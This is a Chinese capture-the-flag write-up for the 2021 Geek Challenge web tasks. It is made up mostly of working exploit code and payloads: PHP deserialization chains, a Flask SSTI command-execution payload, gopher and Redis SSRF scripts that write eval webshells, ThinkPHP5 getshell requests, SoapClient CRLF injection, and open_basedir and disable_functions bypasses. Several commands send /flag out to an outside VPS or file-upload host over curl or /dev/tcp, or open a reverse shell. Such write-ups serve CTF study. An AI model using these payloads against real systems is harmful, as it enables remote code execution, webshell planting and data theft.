0%

2021 极客大挑战 web

前言

拖了老长时间没写wp了,这题写的真爽

Dark

给了一个url:

http://c6h35nlkeoew5vzcpsacsidbip2ezotsnj6sywn7znkdtrbsqkexa7yd.onion/

搜了一下后缀 onion


下一个洋葱浏览器 访问地址即可

Welcome2021


查看源码:

<!-- 请使用WELCOME请求方法来请求此网页 -->

一直不理解什么是welcome请求方法

其实就是换个请求方法

Babysql

Sqlmap跑一下

Babypop

<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}

class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}

class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}

简简单单反序列化
exp:

<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
public $i_want_2_listen_2_MaoZhongDu = "curl http://1.116.110.61/?id=`cat /flag`";
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
}
}
}

class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}


class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}

class e {

public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
}
}
}

$c = new c();
$c->tmp = new e();
$c->tmp->afkl = new d();
$c->tmp->afkl->value = new b();
echo base64_encode(serialize($c));

php7+可将private直接写为public

where_is_my_FUMO

<?php
function chijou_kega_no_junnka($str) {
$black_list = [">", ";", "|", "{", "}", "/", " "];
return str_replace($black_list, "", $str);
}

if (isset($_GET['DATA'])) {
$data = $_GET['DATA'];
$addr = chijou_kega_no_junnka($data['ADDR']);
$port = chijou_kega_no_junnka($data['PORT']);
exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
highlight_file(__FILE__);
}

分析过后是bash一句话的理解

?DATA[ADDR]=1.116.110.61&DATA[PORT]=6000

连接到vps


但是此时的shell是没有回显的,我们再反弹一个交互的shell的命令到6001端口


发现flag.png,但是权限的太死了,就把图片整体base64加密成文本 存到/tmp目录下,总共15189行,然后用

sed -n '(开始行数),(结束行数)p' 文件名
sed -n '1,5000p' base64.png

命令对文本切片,将base密文从xshell复制一下,再base64转图片


wp解法:

curl bashupload.com -T /flag.png

nc -lvvnp 1234 > flag.png //自己服务器
cat /flag.png >/dec/tcp/xxxxx/1234 //肉鸡

babyphp

<?php
function ssrf_me($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}

if(isset($_GET['url'])){
ssrf_me($_GET['url']);
}
else{
highlight_file(__FILE__);
echo "<!-- 有没有一种可能,flag在根目录 -->";
}

Ssrf读文件
Payload:?url=file:///flag

babyPy

Flask2的ssti,Payload直接打:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

蜜雪冰城甜蜜蜜

  • 前端安全 js


题目说要点9号饮料,目前就8种饮料,抓包:

前端可以发现加密过程和所需文件,复制加密过程,下载两个文件,用HBuilder开始伪造

可见所需要的参数都发送过去,猜测我们只要伪造sign和id和timemap就行了

网页源码

/* 
* 生成签名
* @params 待签名的json数据
* @secret 密钥字符串
*/
function makeSign(params, secret){
var ksort = Object.keys(params).sort();
var str = '';
for(var ki in ksort){
str += ksort[ki] + '=' + params[ksort[ki]] + '&';
}

str += 'secret=' + secret;
var token = hex_md5(str).toUpperCase();
return rsa_sign(token);
}

/*
* rsa加密token
*/
function rsa_sign(token){
var pubkey='-----BEGIN PUBLIC KEY-----';
pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL';
pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU8l9NJtF28pTSZSKnE/791MJfV';
pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn';
pubkey+='lVjDaIczKTRx+7vn2wIDAQAB';
pubkey+='-----END PUBLIC KEY-----';
// 利用公钥加密
var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubkey);
return encrypt.encrypt(token);
}

/*
* 获取时间戳
*/
function get_time(){
var d = new Date();
var time = d.getTime()/1000;
return parseInt(time);
}

//secret密钥
var secret = 'e10adc3949ba59abbe56e057f20f883e';

$("[href='#']").click(function(){

var params = {};
console.log(123);

params.id = $(this).attr("id");
params.timestamp = get_time();
params.fake_flag= 'SYC{lingze_find_a_girlfriend}';
params.sign = makeSign(params, secret);
$.ajax({
url : "http://106.55.154.252:8083/sign.php",
data : params,
type:'post',
success:function(msg){
$('#text').html(msg);
alert(msg);
},
async:false

});

})

看懂加密过程就行了,我们利用 id timemapfake_flag

再将secret传入加密函数

开始伪造:


发包

雷克雅未克

  • Header头部伪造

修改xff头部

人民艺术家

  • Jwt安全

抓包爆破jwt,修改后添加到Cookie头部,发送过去

Babyxss

Intro && Hint: 简单的xss| hints: 1.学习链接: https://www.jianshu.com/p/4fcb4b411a66

Alert(1)就行,alert替换为空双写绕过,再闭合前后就行了

Payload:

");alealertrt(1);("

Baby_PHP_Black_Magic_Enlightenment

  • md5 强碰撞
  • php trick

<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;
if($temp>9999){
echo file_get_contents('./2.php');
echo "How's that possible";
}
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen

?>

Payload:

?password[]=1 查看源码

baby_magic.php:

<?php
error_reporting(0);

$flag=getenv('flag');
if (isset($_GET['user']) and isset($_GET['pass']))
{
if ($_GET['user'] == $_GET['pass'])
echo 'no no no no way for you to do so.';
else if (sha1($_GET['user']) === sha1($_GET['pass']))
die('G1ve u the flag'.$flag);
else
echo 'not right';
}
else
echo 'Just g1ve it a try.';
highlight_file(__FILE__);
?>

数组绕过,payload:

?user[]=1&pass[]=2

baby_revenge.php:

<?php
error_reporting(0);

$flag=getenv('fllag');
if (isset($_GET['user']) and isset($_GET['pass']))
{
if ($_GET['user'] == $_GET['pass'])
echo 'no no no no way for you to do so.';
else if(is_array($_GET['user']) || is_array($_GET['pass']))
die('There is no way you can sneak me, young man!');
else if (sha1($_GET['user']) === sha1($_GET['pass'])){
echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
die('Genji:We will see again Hanzo'.$flag.'<br/>');
}
else
echo 'Wrong!';
}else
echo 'Just G1ve it a try.';
highlight_file(__FILE__);
?>

强等于 用到sha1强碰撞

payload:

?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

here_s_the_flag.php

<?php
$flag=getenv('flllllllllag');
if(strstr("Longlone",$_GET['id'])) {
echo("no no no!<br>");
exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{

echo "flag: $flag";
}
highlight_file(__FILE__);
?>

Payload:

?id=%254conglone

%4c(L)通过urlencoding变为%254c,考点urldecode通过url编码二次编码绕过

Easypop

1.对象的复用
2. 父类的私有属性序列化
3. 千奇百怪的动态函数/方法调用

<?php
highlight_file(__FILE__);
class a {
public function __destruct()
{
$this->test->test();
}
}

abstract class b {
private $b = 1;

abstract protected function eval();

public function test() {
($this->b)();
}
}

class c extends b {
private $call;
protected $value;

protected function eval() {
if (is_array($this->value)) {
($this->call)($this->value);
echo "1";
} else {
die("you can't do this :(");
}
}
}

class d {
public $value;

public function eval($call) {
$call($this->value);
echo "2";
}
}

if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
}

exp:

<?php
class a {
public function __construct($a)
{
$this->test = $a;
}
}

abstract class b {
private $b = 1;

public function __construct($a)
{
$this->b = $a;
}
}

class c extends b {
private $call;
protected $value;

public function __construct($a,$b)
{
$this->call = $a;
$this->value = $b;
}

public function setB($c)
{
parent::__construct($c);
}
}

class d {
public $value;

public function __construct($a) {
$this->value = $a;
}
}

$c = new C(
[new d("system"),"eval"],
[new d("whoami"),"eval"]
);

$c->setB([$c,"eval"]);
$exp = new a($c);

echo base64_encode(serialize($exp));

期末不挂科就算成功

首页:


查看网页源代码 发现debug.php 且还有一些方法


利用php伪协议读取index.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的!!!
?>

Debug.php:

<?php

echo "<h1>快去学习PHP伪协议</h1>";
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "NO!!!";
exit();
}
include($file);
?>

发现另外一台机器地址为172.17.0.7,利用 gopher协议post数据

POST /index.php HTTP/1.1
Host:172.17.0.7
Content-Type:application/x-www-form-urlencoded
Content-Length:36

name=admin&password=123456&result=60

构造请求 bp里面两次urlencode

脚本,gopher 发送post数据包

from urllib import parse

str1 = """POST /index.php HTTP/1.1
Host:172.17.0.7
Content-Type:application/x-www-form-urlencoded
Content-Length:36

name=admin&password=123456&result=60
"""

url = parse.quote(str1,safe=';/?:@&=+$,')
print(url)
url = url.replace('%0A', '%0D%0A')
url = parse.quote(url)
print('gopher://172.17.0.7:80/_'+url)

在第一次编码后的数据中,将%0A全部手动替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

成全

Intro && Hint: TPhinkphp

Thinkphp5版本,利用方式也挺多的,这里不再说了


看一下phpinfo()中的disable_function()可以看到禁止的死死的

找几个payload利用一下就行了

payload:

http://106.55.154.252:500/public/?s=captcha
post:
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/

直接出,无难度,然后 file_get_contents 一下ok了

然后又发现了其他的方式:

一次实战中对tp5网站getshell方式的测试 - 先知社区 (aliyun.com)

简单总结一下:

  1. php低版本利用assert:
    s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
  2. 通过scandir来找到数据库配置文件写shell
  3. 日志包含写shell
    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();
  4. Session包含
    _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

    然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
  5. 利用disable_function中漏掉的函数,下载vps上的shell
    python -m SimpleHTTPServer 8888

    s=wget vps/test.php&_method=__construct&method=get&filter[]=exec

Anothersql

简单的sql注入,关键过滤都没有,直接sqlmap拉起

报错注入:报错注入函数指南_十三年*的博客-CSDN博客_报错注入函数

简单一测,然后拿着payload去打,发现失败,手动改造payload

exp:

uname=admin' AND GTID_SUBSET(CONCAT(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_name='syclover'),0x7e),7154) AND 'nzJF'='nzJF

Givemeyourlove

Intro && Hint: 描述:我想得到TA的心|hint:1.看看有什么端口呢 2.听说有个东西叫redis 3.don’t use nmap, the target is inside. 4.学习链接:

https://www.sqlsec.com/2021/05/ssrf.html

浅析Redis中SSRF的利用 - 先知社区 (aliyun.com)

  • srf 攻击认证redis
<?php
// I hear her lucky number is 123123
highlight_file(__FILE__);
$ch = curl_init();
$url=$_GET['url'];
if(preg_match("/^https|dict|file:/is",$url))
{
echo 'NO NO HACKING!!';
die();
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

看到提示 123123 肯定是打有认证的redis

攻击认证redis

先gopher生成未授权的payload


再加上认证,重构数据包

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

打过去


shell.php


脚本

import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["auth 123123",
"flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF +
x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload)

Easypy

http://easypy/calc?calc= {{(1=&answer=1)|attr(request.args.class)|attr(request.args.mro)|attr(request.arg s.getitem)(2)|attr(request.args.subclasses)()|attr(request.args.getitem) (133)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getit em)(request.args.popen)(request.args.data)|attr(request.args.read) ()}}&class=__class__&mro=__mro__&getitem=__getitem__&subclasses=__subclasses__&i nit=__init__&globals=__globals__&popen=popen&data=cat+/flag&read=read

利用attr弹出属性并使用request.args来规避字符串。

easysql

Noobphp


查看控制器和hint.txt

SoEzUnser

简单的php(不需要rce,需要ssrf)

  • php内部类
  • soap crlf ssrf
<?php

class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;

public function __construct($par0,$par1,$par2,$par3){
$this -> par0 = $par0;
$this -> par1 = $par1;
$this -> par2 = $par2;
$this -> par3 = $par3;
}
public function newOne(){
$this -> kelasi = new $this -> par0($this -> par1,$this -> par2);
}

public function wuhu(){
echo('syclover !'.$this -> kelasi.' yyds');
}

public function qifei(){
//$ser = serialize($this -> kelasi);
//$unser = unserialize($ser);
$this -> kelasi -> juts_a_function();
}

public function __destruct(){
if(!empty($this -> par0) && (isset($this -> par1) || isset($this -> par2))){
$this -> newOne();
if($this -> par3 == 'unser'){
$this -> qifei();
}
else{
$this -> wuhu();
}
}
}

public function __wakeup(){
@include_once($this -> par2.'hint.php');
}
}
highlight_file(__FILE__);
$hack = $_GET['hack'];
unserialize($hack);

看完之后,通过搜索,想法是利用

DirectoryIterator 类扫描目录SoapClient + CLRF +SSRF 发送数据

具体文章:

PHP反序列化学习——原生类利用 - ca01h’s Blog
CTF 中 PHP原生类的利用 – JohnFrod’s Blog

具体思路就是:

__destruct() -> newOne() -> $this->kelasi -> $this->qifei() -> just_a_function()

一开始的 hint.php 因为有 include_once 所以我们可以用伪协议进行读取

$par2 = 'php://filter/read=convert.base64-encode/resource='

Hint.php

<?php

$hint = '向管理员的页面post一个参数message(告诉他,"iwantflag") 和 另一个参数 url(它会向这个url发送一个flag';
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';
$hint .= '但是我不知道(你也猜不到的)文件夹名称和管理员页面的名称,更坏的消息是只能从127.0.0.1去访问,你能想个办法去看看(别扫 扫不出来!!!)';

既然说了猜不到,那就利用 FilesystemIterator内部类来读取一下目录

FilesystemIterator 类配合glob://协议在wuhu()方法进行触发

poc:

<?php

class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;

public function __construct(){
$this -> par0 = 'FilesystemIterator';
$this -> par1 = 'glob:///*flag*';
$this -> par2 = NULL;
$this -> par3 = '';
}


$a = new fxxk();
echo serialize($a);

发现flag 在 根目录


根据之前的报错,得到网站路径,利用glob协议探测
$this -> par1 = 'glob:///www/wwwroot/ctf.rigelx.top/unserbucket/a*';

然后bp爆破


wwwswswwwwdppppppppppp
aaaaaaaaaaafxadwagaefae

发现两个当前目录下的特殊文件夹,继续探测特殊文件夹下的文件

在aaaaaaaaaaafxadwagaefae 发现UcantGuess.php
在wwwswswwwwdppppppppppp发现exp.php

访问一下:


算是给了个模板吧,没啥用
根据这个自行添加修改:

<?php
$target= 'http://127.0.0.1/test.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"peri0d"));

$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

$x= unserialize(urldecode($aaa));
$x->no_func();

poc:

<?php
$target = 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$post_string = 'message=iwantflag&url=http://1.116.110.61:5000';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);

class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;

public function __construct(){
$this -> par0 = 'SoapClient';
$this -> par1 = NULL;
$this -> par2 = array('location'=> 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php','user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.'X-Forwarded-For: 127.0.0.1^^Cookie: admin=1'.'^^Content-Length: '.'46'.'^^^^'.'message=iwantflag&url=http://1.116.110.61:5000','uri'=>"peri0d");
$this -> par3 = 'unser';
}
}

$aaa = new fxxk();
$aaa= serialize($aaa);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

vps开启监听 nc -lvvnp 5000

芜湖!!

Breakout

  • bypass disable_function
<?php
highlight_file(__FILE__);
// 这些奇怪的符号是什么呢?字符串之间还能异或的吗?
$a = $_POST['v'] ^ '!-__)^';
// ctf常见的验证码哦!纯数字呢
if (substr(md5($_POST['auth']),0,6) == "666666") {
$a($_POST['code']);
}

提示了纯数字先爆破出 auth=3185471,再利用字符异或构造出assert

payload:

v=@^,:[*&auth=3185471&code=eval($_POST["a"])

蚁剑连接,密码为a


Disable_function很多很多

而且看到 open_basedir 是/var/www/html 和/tmp


这样蚁剑就算连接上去也是只显示/html下的文件

那么先 bypass openbase_dir 这样可以收集更多的信息

open_basedir

payload:

a=file_put_contents('/tmp/Y0ng.php',"<?php mkdir('/tmp/Y0ng');  chdir('/tmp/Y0ng');  ini_set('open_basedir','..');  chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');@eval(\$_POST[Y0ng]);echo 999;");&auth=3185471&code=eval($_POST["a"])&v=@^,:[*


然后 include一下,让他运行,更改shell配置 密码为Y0ng



然后 bypass disable_function

Bypass_disable_functions总结

利用 LD_PRELOAD,一般都是用 mail 函数或者 error_log 函数,但是这一次这两个被ban了

可以用 mb_send_mail 函数替换

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数

利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令


上传.so和php文件


传入参数,可以执行